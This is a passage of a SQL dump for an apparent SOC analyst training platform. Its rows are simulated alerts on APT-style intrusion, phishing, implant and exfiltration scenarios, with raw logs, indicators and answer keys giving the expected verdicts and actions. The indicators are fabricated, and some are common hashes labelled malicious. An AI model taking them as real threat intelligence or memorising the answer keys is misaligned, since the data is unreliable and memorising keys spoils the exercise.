payload.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"update.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious DLL loaded by svchost.exe.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User associated with the affected machine during acquisition.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(795, 'Lateral Movement: Exploiting Network Trust', 'high', 'Internal Network Logs', 'An attacker utilized stolen credentials to move laterally within the network, exploiting trust relationships to access critical databases containing sensitive guest information.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:34:12Z\",\"source_ip\":\"192.168.1.45\",\"target_ip\":\"10.0.1.5\",\"action\":\"login\",\"username\":\"j.doe\",\"method\":\"RDP\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"db_access_tool.exe\",\"external_ip\":\"203.0.113.55\",\"event_id\":\"4624\",\"description\":\"Successful login using RDP with stolen credentials\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with a known suspicious tool\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"db_access_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"suspicious\",\"details\":\"File used to access databases\"}},{\"id\":\"artifact_6\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(796, 'Exfiltration: Encrypted Data Transfer', 'high', 'Data Loss Prevention (DLP) Systems', 'APT1 executed the final phase of their operation by encrypting and exfiltrating sensitive guest records, including passport numbers, through a masked data transfer to avoid detection. The transfer was facilitated over a compromised internal server using encrypted channels.', 'Data Exfiltration', 'T1048.001 - Exfiltration Over Alternative Protocol: Encrypted Channels', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:37:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.1.45\",\"destination_ip\":\"203.0.113.77\",\"protocol\":\"TLS\",\"filename\":\"guest_data_encrypted.zip\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"user\":\"jdoe\",\"event_id\":\"EXFIL-2023-5678\",\"action\":\"transfer\",\"status\":\"completed\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for data transfer\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT1\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with APT1\'s data exfiltration tool\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"guest_data_encrypted.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file encrypted for exfiltration\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity_monitoring\",\"verdict\":\"suspicious\",\"details\":\"User account possibly compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(797, 'Spear-Phishing Campaign Detected', 'high', 'Email security logs', 'APT28 initiated a spear-phishing campaign targeting DNC staff to gain initial access by harvesting their credentials. The malicious email contained a link leading to a credential harvesting site.', 'Initial Access', 'T1566.001 - Phishing: Spearphishing Link', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"email_id\":\"b1234567890abc\",\"sender\":\"noreply@dnc-support.com\",\"recipient\":\"johndoe@dnc.org\",\"subject\":\"Urgent: Security Update Required\",\"body_preview\":\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\",\"attachment\":\"none\",\"url\":\"http://dnc-security-update.com/login?\",\"sender_ip\":\"198.51.100.23\",\"recipient_ip\":\"192.168.1.45\",\"malicious_hash\":\"e99a18c428cb38d5f260853678922e03\",\"threat_actor\":\"APT28\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@dnc-support.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known phishing campaigns by APT28.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://dnc-security-update.com/login?\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Phishing site designed to harvest credentials.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known APT28 infrastructure.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hash Analysis Service\",\"verdict\":\"suspicious\",\"details\":\"Associated with recent phishing attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(798, 'X-Agent Implant Executed', 'high', 'Endpoint detection and response (EDR) logs', 'APT28 deployed the X-Agent implant on a compromised system, executing malware to maintain access and collect data. EDR detected the execution of a suspicious binary associated with known APT28 activities.', 'Execution', 'T1059', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:18Z\",\"event_id\":\"4625\",\"computer_name\":\"compromised-host.local\",\"user\":\"DOMAIN\\\\compromised_user\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"process_name\":\"C:\\\\Windows\\\\Temp\\\\xagent.exe\",\"process_hash\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"command_line\":\"xagent.exe -collect -report\",\"network_activity\":[{\"protocol\":\"TCP\",\"destination_ip\":\"198.51.100.24\",\"destination_port\":443}]}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known APT28 C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"APT28 associated IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"X-Agent malware sample\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\Temp\\\\xagent.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"LocalEDR\",\"verdict\":\"malicious\",\"details\":\"Detected execution of known APT28 malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(799, 'X-Tunnel Backdoor Established', 'high', 'Network traffic analysis', 'The attackers have successfully established a persistent backdoor using the X-Tunnel tool to maintain secure communication with their command and control servers. This is an intermediate level threat indicating ongoing persistent access.', 'Persistence', 'T1105 - Ingress Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-07T14:23:45Z\",\"event_id\":\"1003\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"185.92.220.75\",\"protocol\":\"TCP\",\"port\":\"443\",\"filename\":\"x-tunnel-backdoor.exe\",\"file_hash\":\"7b9f8e2b5f9c3a4d5e6f7a8b9c0d1e2f\",\"username\":\"jdoe\",\"action\":\"establish_connection\",\"description\":\"Established connection between internal host and external C2 server using encrypted tunnel.\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP associated with APT28.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7b9f8e2b5f9c3a4d5e6f7a8b9c0d1e2f\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known X-Tunnel malware used by APT28.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(800, 'Credential Dump for Lateral Movement', 'high', 'Active Directory logs', 'APT28 has utilized harvested credentials to perform lateral movement within the DNC network. The threat actor aimed to maximize access and control over critical systems by leveraging stolen credentials.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:00Z\",\"event_id\":\"4624\",\"logon_type\":\"3\",\"logon_process\":\"NtLmSsp\",\"ip_address\":\"185.123.45.67\",\"username\":\"j.doe\",\"domain\":\"DNC\",\"target_server\":\"192.168.1.15\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"ntds.dit\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDatabase\",\"verdict\":\"malicious\",\"details\":\"IP associated with APT28 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Employee account used in suspicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash related to possible credential dumping tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ntds.dit\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Critical Active Directory database file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(801, 'Data Exfiltration to External Servers', 'high', 'Data loss prevention (DLP) systems', 'Sensitive data exfiltrated to external servers and later weaponized to influence the 2016 election.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:47Z\",\"event_id\":\"DLPE-20231005142247\",\"source_ip\":\"10.0.15.23\",\"destination_ip\":\"198.51.100.14\",\"username\":\"jdoe\",\"exfiltrated_files\":[{\"filename\":\"confidential_report_2023.pdf\",\"hash\":\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\",\"size\":\"3.2MB\"}],\"related_domain\":\"malicious-exfiltration.com\",\"connection_protocol\":\"HTTPS\",\"detection_method\":\"anomalous data transfer\",\"description\":\"Large data transfer detected to external IP associated with known malicious domain.\",\"correlation_id\":\"C-20231005-XYZ123\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with APT28 and previous exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee with access to sensitive data.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3cda541c8b2f5e5f5a438e3b2a8f3d4a\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash potentially linked to known exfiltration tools.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-exfiltration.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain used in previous APT28 campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.449Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 